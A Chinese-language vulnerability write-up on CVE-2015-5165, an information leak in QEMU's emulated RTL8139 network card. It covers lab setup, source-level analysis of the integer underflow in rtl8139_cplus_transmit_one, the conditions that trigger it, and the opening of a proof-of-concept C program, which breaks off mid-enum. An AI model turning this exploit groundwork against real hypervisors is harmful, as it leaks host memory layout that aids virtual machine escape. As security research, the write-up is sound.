Qemu漏洞分析记录 CVE-2015-5165

阅读量    386351 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

作者:星阑PortalLab

Qemu相关

简介

QEMU是一种通用的开源计算机仿真器和虚拟器。

当用作机器仿真器(machine emulator,)时,QEMU可以在另一台机器(例如您自己的PC)上运行为一台机器(例如ARM板)制作的OS和程序。通过使用动态翻译,它可以获得非常好的性能。

当用作虚拟器(virtualizer)时,QEMU通过直接在主机CPU上执行来宾代码来达到近乎本机的性能。在Xen虚拟机管理程序下执行或在Linux中使用KVM内核模块时,QEMU支持虚拟化。使用KVM时,QEMU可以虚拟化x86,服务器和嵌入式PowerPC,64位POWER,S390、32位和64位ARM以及MIPS guest虚拟机。

关于emulator和virtualizer的区别可以看这篇博客,简单来说emulator是使用软件仿真完整的硬件,可以模拟各种CPU架构或者多个系统,而virtualizer一般不模拟硬件,而是将模拟计算机的部分经过虚拟化,大多数程序依然直接运行在硬件上。(关于虚拟化最典型的例子比如页表?)

可在此处下载QEMU=>www.qemu.org/download/

 

CVE-2015-5165

Cve-2015-5165是一个信息泄露漏洞,能够让攻击者获取到qemu程序的基地址以及qemu为虚拟机分配的内存地址。

漏洞问题是出在Qemu模拟的 RTL8139 网卡(qemu/hw/net/rtl8139.c),漏洞原因是在C+模式下对数据包解析的时候没有对数据包长度进行检测,导致了溢出。

环境搭建

在qemu的git平台找到CVE-2015-5165漏洞修复的commit

安装一些依赖

sudo apt -f install
sudo apt install libglib2.0-dev libpixman-1-dev libsdl2-dev libsdl1.2-dev

编译qemu,记得加参数—enable-debug,可以gdb源码调试。

git clone git://git.qemu-project.org/qemu.git && cd qemu
git checkout bd80b5963f58c601f31d3186b89887bf8e182fb5
mkdir -p bin/debug/naive && cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make

编译好的程序在/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64,检查一下qemu版本。

$ ./qemu-system-x86_64 --version
(process:71137): GLib-WARNING **: 20:08:54.081: ../../../../glib/gmem.c:489: custom memory allocation vtable not supported
QEMU emulator version 2.3.93, Copyright (c) 2003-2008 Fabrice Bellard

编译出/usr/bin/ld: qga/commands-posix.o: in function `dev_major_minor’:问题

只需要在commands-posix.c文件中加上头文件<sys/sysmacros.h>重新编译即可

gdb基础操作命令

通过gdb对qemu进行源代码调试

完整名称 短称 功能介绍 使用示例
continue c 继续执行 c
list l 查看 c 源码 l vga_mem_write
help h 帮助说明 h list
break b 下断点 b vga.c:45
next n 步过 n5
step s 步入 s
print p 输出 print /x var
x x 输出 x/2wx pmem
backtrace bt 堆栈回溯 bt
finish fin 执行到函数返回 finish

制作系统镜像

制作一个镜像

qemu-img create -f qcow2 ubuntu.img 20G

将ubuntu镜像拷贝到空镜像中,如果运行qemu提示通过vnc连接,应该是系统缺少SDL库(configure时显示SDL support no),装一个就行了,否则可以装一个Remmina在本地进行VNC连接。之后只需要一步步执行安装过程即可。 或者可以直接去镜像网站下载一个qcow2(账号和密码都是root)的镜像(但不推荐这个镜像,内核版本太老有很多问题,但我也没有找到更好的)。

./x86_64-softmmu/qemu-system-x86_64 -m 1G -hda ubuntu.img -cdrom ../../../ubuntu-14.04.6-desktop-i386.iso -enable-kvm

或者自己做一个rootfs.img的镜像

#!/bin/sh
sudo apt-get install debootstrap
mkdir rootfs

sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfs

set -eux

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys

# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs

编译内核

sudo apt install libelf-dev
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz && cd linux-5.2.11/
make defconfig
make kvmconfig
#编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4

使用launch.sh脚本起启动,ssh只需要连接10021端口

$ cat launch.sh
#!/bin/sh
./qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
#/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
    -kernel ./linux-5.2.11/arch/x86/boot/bzImage  \
    -append "console=ttyS0 root=/dev/sda rw"  \
    -hda ./rootfs.img  \
    -enable-kvm -m 2G -nographic \
    -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
    -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
    -net user,hostfwd=tcp::10021-:22 -net nic

make defconfig时候出现/bin/sh: 1: flex: not found相关问题只需要安装一下flex(一个快速的词法分析生成器)

运行系统

使用下面的命令来运行系统

qemu-system-x86_64 -hda ubuntu.img -nographic
或者qemu-system-x86_64 -hda debian_squeeze_i386_standard.qcow2  -nographic  -netdev user,id=t0 -device rtl8139,netdev=t0,id=nic0

漏洞在RTL18139网卡上,所以启动时候把网卡也启动一下。

-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -net user,hostfwd=tcp::22222-:22 -net nic

虚拟机内部换一下源,方便安装一些工具。

deb http://mirrors.aliyun.com/debian/ buster main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster main non-free contrib
deb http://mirrors.aliyun.com/debian-security buster/updates main
deb-src http://mirrors.aliyun.com/debian-security buster/updates main
deb http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster-updates main non-free contrib
deb http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib
deb-src http://mirrors.aliyun.com/debian/ buster-backports main non-free contrib

问题解决:

  • failed to load ldlinux.c32 : 换个版本,一开始我用ubuntu16.04总是有这个问题。

rtl8139网卡

本次漏洞的成因位于rtl8139的虚拟化实现(准确的来说是RTL-8139/8139C/8139C+),实现文件在/hw/net/rtl8139.c中。RTL8139State结构体内部大多为RTL8139的寄存器实现,可以参考官网的REALTEK文档.

typedef struct RTL8139State {
    /*< private >*/
    PCIDevice parent_obj;
    /*< public >*/

    uint8_t phys[8]; /* mac address */
    uint8_t mult[8]; /* multicast mask array */

    uint32_t TxStatus[4]; /* TxStatus0 in C mode*/ /* also DTCCR[0] and DTCCR[1] in C+ mode */
    uint32_t TxAddr[4];   /* TxAddr0 */
    uint32_t RxBuf;       /* Receive buffer */
    uint32_t RxBufferSize;/* internal variable, receive ring buffer size in C mode */
    uint32_t RxBufPtr;
    uint32_t RxBufAddr;

    uint16_t IntrStatus;
    uint16_t IntrMask;

    uint32_t TxConfig;
    uint32_t RxConfig;
    uint32_t RxMissed;

    uint16_t CSCR;

    uint8_t  Cfg9346;
    uint8_t  Config0;
    uint8_t  Config1;
    uint8_t  Config3;
    uint8_t  Config4;
    uint8_t  Config5;

    uint8_t  clock_enabled;
    uint8_t  bChipCmdState;

    uint16_t MultiIntr;

    uint16_t BasicModeCtrl;
    uint16_t BasicModeStatus;
    uint16_t NWayAdvert;
    uint16_t NWayLPAR;
    uint16_t NWayExpansion;

    uint16_t CpCmd;
    uint8_t  TxThresh;

    NICState *nic;
    NICConf conf;

    /* C ring mode */
    uint32_t   currTxDesc;

    /* C+ mode */
    uint32_t   cplus_enabled;

    uint32_t   currCPlusRxDesc;
    uint32_t   currCPlusTxDesc;

    uint32_t   RxRingAddrLO;
    uint32_t   RxRingAddrHI;

    EEprom9346 eeprom;

    uint32_t   TCTR;
    uint32_t   TimerInt;
    int64_t    TCTR_base;

    /* Tally counters */
    RTL8139TallyCounters tally_counters;

    /* Non-persistent data */
    uint8_t   *cplus_txbuffer;
    int        cplus_txbuffer_len;
    int        cplus_txbuffer_offset;

    /* PCI interrupt timer */
    QEMUTimer *timer;

    MemoryRegion bar_io;
    MemoryRegion bar_mem;

    /* Support migration to/from old versions */
    int rtl8139_mmio_io_addr_dummy;
} RTL8139State;

关于C+ Mode:

支持两种缓冲管理模式。第一种是C模式,是RTL8139系列产品默认使用的缓冲区管理算法。第二种是C +模式(仅通过软件设置为相对的C +模式寄存器和描述符),这是基于描述符(Tx desciptor)的增强设计,特别适用于服务器应用程序。 可以通过软件进行配置,以应用新的缓冲区管理算法,即基于描述符的增强型缓冲区管理体系结构,这是现代网络服务器卡的基本设计。

RTL8139 网卡在 C+ 模式下的寄存器结构:

        +---------------------------+----------------------------+
0x00    |           MAC0            |            MAR0            |
        +---------------------------+----------------------------+
0x10    |                       TxStatus0                        |
        +--------------------------------------------------------+
0x20    |                        TxAddr0                         |
        +-------------------+-------+----------------------------+
0x30    |        RxBuf      |ChipCmd|                            |
        +-------------+------+------+----------------------------+
0x40    |   TxConfig  |  RxConfig   |            ...             |
        +-------------+-------------+----------------------------+
        |                                                        |
        |             skipping irrelevant registers              |
        |                                                        |
        +---------------------------+--+------+------------------+
0xd0    |           ...             |  |TxPoll|      ...         |
        +-------+------+------------+--+------+--+---------------+
0xe0    | CpCmd |  ... |RxRingAddrLO|RxRingAddrHI|    ...        |
        +-------+------+------------+------------+---------------+

各个部分对应功能和实现:

  • MAC0 :存储mac地址 uint8_t phys[8]; (uint8_t aka. char)
  • MAR0 : 组播掩码数组 uint8_t mult[8];
  • TxStatus0 : 在C模式下是TxStatus0,在C+模式下为DTCCR[0] and DTCCR[1]
  • TxAddr0Tx descriptiors table 相关的物理内存地址 uint32_t TxAddr[4];
    • 0x20 ~ 0x27:Transmit Normal Priority Descriptors Start Address
    • 0x28 ~ 0x2F:Transmit High Priority Descriptors Start Address
  • RxBuf :接收数据的缓冲区 uint32_t RxBuf;
  • TxConfig :发送数据相关的配置参数 uint32_t TxConfig
  • RxConfig :接收数据相关的配置参数 uint32_t RxConfig
  • RxRingAddrLO :Rx descriptors table 物理内存地址低 32 位
  • RxRingAddrHI :Rx descriptors table 物理内存地址高 32 位
  • TxPoll :让网卡检查 Tx descriptors

Tx desciptor的结构和实现如下

​ 取自REALTEK文档.9.2.1 Transmit

struct rtl8139_desc {
        uint32_t dw0;
        uint32_t dw1;
        uint32_t buf_lo;
        uint32_t buf_hi;
};

我们关注一下16~31bit的标志位实现,网卡中的路径走向是由desciptor结构中的标志位确定的,这部分在后面理解漏洞部分的触发有一些帮助。具体作用还是参考REALTEK文档,具体我注释在代码中。

/*26~31bit位实现了desciptor的*/
/* w0 ownership flag */
#define CP_TX_OWN (1<<31)  //标志为1时,desciptor由NIC(网络接口控制器)拥有。标志为0时,desciptor由主机拥有
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30) //标志为1时,说明这是desciptor环的最后一个
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)    //标志为1时,这是Tx数据包的第一个descriptor
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)    //标志为1时,这是Tx数据包的最后一个descriptor
/* large send packet flag */
#define CP_TX_LGSEN (1<<27) //命令位,驱动程序将该位置1,以请求NIC卸载 Large send请求。
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)


/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18) //命令位。驱动程序将该位置1,以请求NIC卸载IP校验和。
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17) //命令位。驱动程序将该位置1,以请求NIC卸载UDP校验和。
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16    //命令位。驱动程序将该位置1,以请求NIC卸载TCP校验和。

漏洞分析

根据修复漏洞时的diff文件,我们可以找到漏洞产生的函数rtl8139_cplus_transmit_one

漏洞出现在rtl8139_cplus_transmit_one函数处对IP包头部和IP总长度计算时产生的溢出。

static int rtl8139_cplus_transmit_one(RTL8139State *s)
{

[...]
//txdw0 存储 Tx desciptor 0~31bit信息
  //如果IP/UDP/TCP标志开启,或者big packet标志开启,则进入流程
if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
        {
            DPRINTF("+++ C+ mode offloaded task checksum\n");

            /* ip packet header */
            ip_header *ip = NULL;
            int hlen = 0;
            uint8_t  ip_protocol = 0;
            uint16_t ip_data_len = 0; // aka. unsigned short int 无符号short类型

            uint8_t *eth_payload_data = NULL;
            size_t   eth_payload_len  = 0;

                        //saved_buffer指向以太网帧,偏移为12的地方就是Length / Type
            int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
            if (proto == ETH_P_IP)
            {
                DPRINTF("+++ C+ mode has IP packet\n");

                /* not aligned */
                eth_payload_data = saved_buffer + ETH_HLEN;
                eth_payload_len  = saved_size   - ETH_HLEN;

                ip = (ip_header*)eth_payload_data;

                if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
                    DPRINTF("+++ C+ mode packet has bad IP version %d "
                        "expected %d\n", IP_HEADER_VERSION(ip),
                        IP_HEADER_VERSION_4);
                    ip = NULL;
                } else {                
                    hlen = IP_HEADER_LENGTH(ip); // 获取header的长度
                    ip_protocol = ip->ip_p;
                  /*溢出:ip->ip_len - hlen*/
                    ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
                }
            }

[...]

}

漏洞成因:当ip_len(ip总长度)小于hlen(ip头长度,一般等于20),调用 be16_to_cpu(ip->ip_len) – hlen 会返回一个小于0的数据,ip_data_len是无符号整型,所以会导致ip_data_len变成一个很大的数。

注:be16_to_cpu:将网络字节序转化为无符号短整形,与htons函数功能正好相反。

接下来继续追踪ip_data_len。接下来是要发送网络帧的代码,ip_data_len赋值给了tcp_data_len,如果tcp_data_len过长(大于 1500-ip头-tcp头),对tcp_data_len进行切片并且调用rtl8139_transfer_frame进行发送。这样的结果就是会读取超长的一段数据发送出去。

if (ip)
            {
                if (txdw0 & CP_TX_IPCS)
                {
                    DPRINTF("+++ C+ mode need IP checksum\n");

                    if (hlen<sizeof(ip_header) || hlen>eth_payload_len) {/* min header length */
                        /* bad packet header len */
                        /* or packet too short */
                    }
                    else
                    {
                        ip->ip_sum = 0;
                        ip->ip_sum = ip_checksum(ip, hlen);
                        DPRINTF("+++ C+ mode IP header len=%d checksum=%04x\n",
                            hlen, ip->ip_sum);
                    }
                }
                                if ((txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
                {
                    int large_send_mss = (txdw0 >> 16) & CP_TC_LGSEN_MSS_MASK;

                    DPRINTF("+++ C+ mode offloaded task TSO MTU=%d IP data %d "
                        "frame data %d specified MSS=%d\n", ETH_MTU,
                        ip_data_len, saved_size - ETH_HLEN, large_send_mss);

                    int tcp_send_offset = 0;
                    int send_count = 0;

                    /* maximum IP header length is 60 bytes */
                    uint8_t saved_ip_header[60];

                    /* save IP header template; data area is used in tcp checksum calculation */
                    memcpy(saved_ip_header, eth_payload_data, hlen);

                    /* a placeholder for checksum calculation routine in tcp case */
                    uint8_t *data_to_checksum     = eth_payload_data + hlen - 12;
                    //                    size_t   data_to_checksum_len = eth_payload_len  - hlen + 12;

                    /* pointer to TCP header */
                    tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

                    int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);


                      /*ip_data_len赋值给了tcp_data_len*/
                    /* ETH_MTU = ip header len + tcp header len + payload */
                    int tcp_data_len = ip_data_len - tcp_hlen;
                    int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

                    DPRINTF("+++ C+ mode TSO IP data len %d TCP hlen %d TCP "
                        "data len %d TCP chunk size %d\n", ip_data_len,
                        tcp_hlen, tcp_data_len, tcp_chunk_size);

                    /* note the cycle below overwrites IP header data,
                       but restores it from saved_ip_header before sending packet */

                    int is_last_frame = 0;
                                        /*如果tcp_data_len过长,对tcp_data_len进行切片*/
                    for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
                    {
                        uint16_t chunk_size = tcp_chunk_size;

                        /* check if this is the last frame */
                        if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
                        {
                            is_last_frame = 1;
                            chunk_size = tcp_data_len - tcp_send_offset;
                        }

                        DPRINTF("+++ C+ mode TSO TCP seqno %08x\n",
                            be32_to_cpu(p_tcp_hdr->th_seq));

                        /* add 4 TCP pseudoheader fields */
                        /* copy IP source and destination fields */
                        memcpy(data_to_checksum, saved_ip_header + 12, 8);

                        DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
                            "packet with %d bytes data\n", tcp_hlen +
                            chunk_size);

                        if (tcp_send_offset)
                        {
                            memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
                        }

                        /* keep PUSH and FIN flags only for the last frame */
                        if (!is_last_frame)
                        {
                            TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
                        }

                        /* recalculate TCP checksum */
                        ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
                        p_tcpip_hdr->zeros      = 0;
                        p_tcpip_hdr->ip_proto   = IP_PROTO_TCP;
                        p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);

                        p_tcp_hdr->th_sum = 0;

                        int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
                        DPRINTF("+++ C+ mode TSO TCP checksum %04x\n",
                            tcp_checksum);

                        p_tcp_hdr->th_sum = tcp_checksum;

                        /* restore IP header */
                        memcpy(eth_payload_data, saved_ip_header, hlen);

                        /* set IP data length and recalculate IP checksum */
                        ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);

                        /* increment IP id for subsequent frames */
                        ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));

                        ip->ip_sum = 0;
                        ip->ip_sum = ip_checksum(eth_payload_data, hlen);
                        DPRINTF("+++ C+ mode TSO IP header len=%d "
                            "checksum=%04x\n", hlen, ip->ip_sum);

                        int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
                        DPRINTF("+++ C+ mode TSO transferring packet size "
                            "%d\n", tso_send_size);
                        rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
                            0, (uint8_t *) dot1q_buffer);

                        /* add transferred count to TCP sequence number */
                        p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
                        ++send_count;
                    }

                    /* Stop sending this frame */
                    saved_size = 0;
                }

设置回环网卡(TxLoopBack),这样网卡会接收自己发送的数据,就能够实现泄露信息读取。

具体实现让我们继续看rtl8139_transfer_frame,当TxConfig标志位被设置为TxLoopBack,会调用rtl8139_do_receive将刚才网卡发送的数据接收回来,保存在缓冲区中。

static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
    int do_interrupt, const uint8_t *dot1q_buf)
{
    [...]

    if (TxLoopBack == (s->TxConfig & TxLoopBack))
    {
        size_t buf2_size;
        uint8_t *buf2;

        if (iov) {
            buf2_size = iov_size(iov, 3);
            buf2 = g_malloc(buf2_size);
            iov_to_buf(iov, 3, 0, buf2, buf2_size);
            buf = buf2;
        }

        DPRINTF("+++ transmit loopback mode\n");
      /*将刚才网卡发送的数据接收回来,保存在buf中*/
        rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);

        if (iov) {
            g_free(buf2);
        }
    }
    else
    {
        if (iov) {
            qemu_sendv_packet(qemu_get_queue(s->nic), iov, 3);
        } else {
            qemu_send_packet(qemu_get_queue(s->nic), buf, size);
        }
    }
}

漏洞触发

我们需要找到如何触发函数rtl8139_cplus_transmit_one调用。

首先看一下rtl8139的realize(实现)函数,使用MemoryRegion初始化了PMIO和MMIO。(memory_region_init_io函数具体相关可以去看qemu内存模型相关博客

在计算机中,内存映射I/O(MMIO)和端口映射I/O(PMIO)是两种互为补充的I/O方法,在CPU和外部设备之间。另一种方法是使用专用的I/O处理器,通常为大型机上的通道,它们执行自己特有的指令。

  • 在MMIO中,IO设备和内存共享同一个地址总线,因此它们的地址空间是相同的; 而在PMIO中,IO设备和内存的地址空间是隔离的。
  • 在MMIO中,无论是访问内存还是访问IO设备,都使用相同的指令; 而在PMIO中,CPU使用特殊的指令访问IO设备,在Intel微处理器中,使用的指令是IN和OUT。
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
[...]
    memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
                          "rtl8139", 0x100);        //初始化PMIO
    memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
                          "rtl8139", 0x100);        //初始化MMIO
[...]
}

分析一下PMIO部分(MMIO基本类似,不需要重复分析),MMIO和PMIO的写操作都会调用rtl8139_io_writeb这个函数,这个函数当val 包含 (1 << 6)时就会进入分支,调用包含漏洞的函数rtl8139_cplus_transmit。

// 初始化结构体
static const MemoryRegionOps rtl8139_io_ops = {
    .read = rtl8139_ioport_read,
    .write = rtl8139_ioport_write,
    .impl = {
        .min_access_size = 1,    
        .max_access_size = 4,
    },
    .endianness = DEVICE_LITTLE_ENDIAN,
};
=======================================================
static void rtl8139_ioport_write(void *opaque, hwaddr addr,
                                 uint64_t val, unsigned size)
{
    switch (size) {
    case 1:
        rtl8139_io_writeb(opaque, addr, val); //分支1
        break;
    case 2:
        rtl8139_io_writew(opaque, addr, val);
        break;
    case 4:
        rtl8139_io_writel(opaque, addr, val);
        break;
    }
}
========================================================
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
    RTL8139State *s = opaque;

    switch (addr)
    {
        [...]
        case TxThresh:
            DPRINTF("C+ TxThresh write(b) val=0x%02x\n", val);
            s->TxThresh = val;
            break;

        case TxPoll:
            DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
            if (val & (1 << 7))
            {
                DPRINTF("C+ TxPoll high priority transmission (not "
                    "implemented)\n");
                //rtl8139_cplus_transmit(s);
            }
            if (val & (1 << 6))  //触发函数
            {
                DPRINTF("C+ TxPoll normal priority transmission\n");
                rtl8139_cplus_transmit(s);
            }

            break;
        [...]
    }
}

再深挖一下PMIO是如何初始化和被触发的,看memory.c中初始化函数memory_region_init_io是如何实现的。可以参考这篇博客在qemu中增加pci设备并用linux驱动验证

void memory_region_init_io(MemoryRegion *mr,
                           Object *owner,
                           const MemoryRegionOps *ops,
                           void *opaque,
                           const char *name,
                           uint64_t size)
{
    memory_region_init(mr, owner, name, size);
    mr->ops = ops;
    mr->opaque = opaque;
    mr->terminates = true;
}
======================================================
  void memory_region_init(MemoryRegion *mr,
                        Object *owner,
                        const char *name,
                        uint64_t size)
{
    if (!owner) {
        owner = container_get(qdev_get_machine(), "/unattached");
    }

    object_initialize(mr, sizeof(*mr), TYPE_MEMORY_REGION);
    mr->size = int128_make64(size);
    if (size == UINT64_MAX) {
        mr->size = int128_2_64();
    }
    mr->name = g_strdup(name);

    if (name) {
        char *escaped_name = memory_region_escape_name(name);
        char *name_array = g_strdup_printf("%s[*]", escaped_name);
        object_property_add_child(owner, name_array, OBJECT(mr), &error_abort);
        object_unref(OBJECT(mr));
        g_free(name_array);
        g_free(escaped_name);
    }
}
=========================================================
  void object_initialize(void *data, size_t size, const char *typename)
{
    TypeImpl *type = type_get_by_name(typename);

    object_initialize_with_type(data, size, type);
}

小结

函数调用栈以及进入分支的条件

rtl8139_ioport_write
--> rtl8139_io_writeb    ()
--> rtl8139_cplus_transmit    (需要设置TxPoll寄存器中包含值 1 << 6)
--> rtl8139_cplus_transmit_one (满足txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
--> 发生溢出并且发送网络帧    (满足ip->ip_len < 20)以及(满足(txdw0 & CP_TX_LGSEN) && ip_protocol == IP_PROTO_TCP)
-->读取信息泄露 (TxConfig标志位被设置为TxLoopBack)

漏洞分析完毕,然后就可以开始写poc了,不过在写之前,先了解一些网卡相关的开发基础。


一些相关的开发基础

操作网卡相关:

  • cat /proc/ioports 查看端口
  • lshw -short 查看设备信息
root@debian-i386:~# lshw  -short
H/W path          Device      Class      Description
====================================================
/0/0                          processor  QEMU Virtual CPU version 2.3.93
[...]
/0/100/3          eth0        network    RTL-8139/8139C/8139C+
  • Lshw -C network 查看网卡信息,网卡版本为RTL-8139/8139C/8139C+,IO端口地址0xc000~0xc0ff.
root@debian-i386:~# lshw  -C network
  *-network               
       description: Ethernet interface
       product: RTL-8139/8139C/8139C+
       vendor: Realtek Semiconductor Co., Ltd.
       physical id: 3
       bus info: pci@0000:00:03.0
       logical name: eth0
       version: 20
       serial: 52:54:00:12:34:56
       size: 100Mbit/s
       capacity: 100Mbit/s
       width: 32 bits
       clock: 33MHz
       capabilities: bus_master rom ethernet physical tp mii 10bt 10bt-fd 100bt 100bt-fd autonegotiation
       configuration: autonegotiation=on broadcast=yes driver=8139cp driverversion=1.3 duplex=full ip=10.0.2.15 latency=0 link=yes multicast=yes port=MII speed=100Mbit/s
       resources: irq:11 ioport:c000(size=256) memory:febd1000-febd10ff memory:feb80000-febbffff(prefetchable)
  • lspci -v 同样可以查看IO地址,可以看到PMIO的端口在0xc000
# lspci -v
00:03.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 20)
    Subsystem: Red Hat, Inc Device 1100
    Flags: bus master, fast devsel, latency 0, IRQ 11
    I/O ports at c000 [size=256]
    Memory at febd1000 (32-bit, non-prefetchable) [size=256]
    Expansion ROM at feb80000 [disabled] [size=256K]
    Kernel driver in use: 8139cp
  • io写端口操作函数
    • outb() I/O 上写入 8 位数据 ( 1 字节 )
    • outw() I/O 上写入 16 位数据 ( 2 字节 )
    • outl () I/O 上写入 32 位数据 ( 4 字节)
      #include <asm/io.h>
      void outb ( unsigned char data , unsigned short port);
      void outw ( unsigned short data , unsigned short port);
      void outl ( unsigned long data , unsigned short port);
      

一般使用out*函数向端口写数据,一般格式是 data和port+偏移值。于是,通过PMIO端口向网卡写数据可以通过下面三个函数实现。

/*通过lspci -v 获取IO端口*/
uint32_t pmio_port = 0xc000;


void pmio_writeb(uint32_t data,uint32_t addr){
    outb(data,pmio_port+addr);
}

void pmio_writew(uint32_t data,uint32_t addr){
    outw(data,pmio_port+addr);
}

void pmio_writel(uint32_t data,uint32_t addr){
    outl(data,pmio_port+addr);
}
  • io读端口操作函数
    • inb() I/O上读取8位数据
    • inw() I/O上读取16位数据
    • inl() I/O上读取32位数据
      byte inb(word port); 
      word inw(word port); 
      longword inw(word port);
      

读函数的实现

uint32_t pmio_readb(uint32_t addr){
    return (uint32_t)inb(addr);
}

uint32_t pmio_readw(uint32_t addr){
    return (uint32_t)inw(addr);
}

uint32_t pmio_readl(uint32_t addr){
    return (uint32_t)inl(addr);
}

POC

静态编译为32位的程序(gcc -m32 -static poc.c -o poc -std=c99),然后通过scp拷贝到虚拟机中。

sudo apt-get install build-essential module-assistant
sudo apt-get install gcc-multilib g++-multilib
  • FATAL: kernel too old ,内核版本太低,两种方案,一种是更新一下虚拟机的内核,第二种是降低编译阶段的内核版本,参考链接。(第三种,也可以直接在虚拟机下装一下编译工具链,本地编译)

接下来编写poc,相关功能都注释在代码中。

poc.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

#define RTL8139_BUFFER_SIZE 1514
/*通过lspci -v 获取IO端口*/
uint32_t pmio_port = 0xc000;

/*常量直接从rtl8139.c中拷贝*/

enum RTL8139_registers {
    MAC0 = 0,        /* Ethernet hardware address. */
    MAR0 = 8,        /* Multicast filter. */
    TxStatus0 = 0x10,/* Transmit status (Four 32bit registers). C mode only */
                     /* Dump Tally Conter control register(64bit). C+ mode only */
    TxAddr0 = 0x20,  /* Tx descriptors (also four 32bit). */
    RxBuf = 0x30,
    ChipCmd = 0x37,
    RxBufPtr = 0x38,
    RxBufAddr = 0x3A,
    IntrMask = 0x3C,
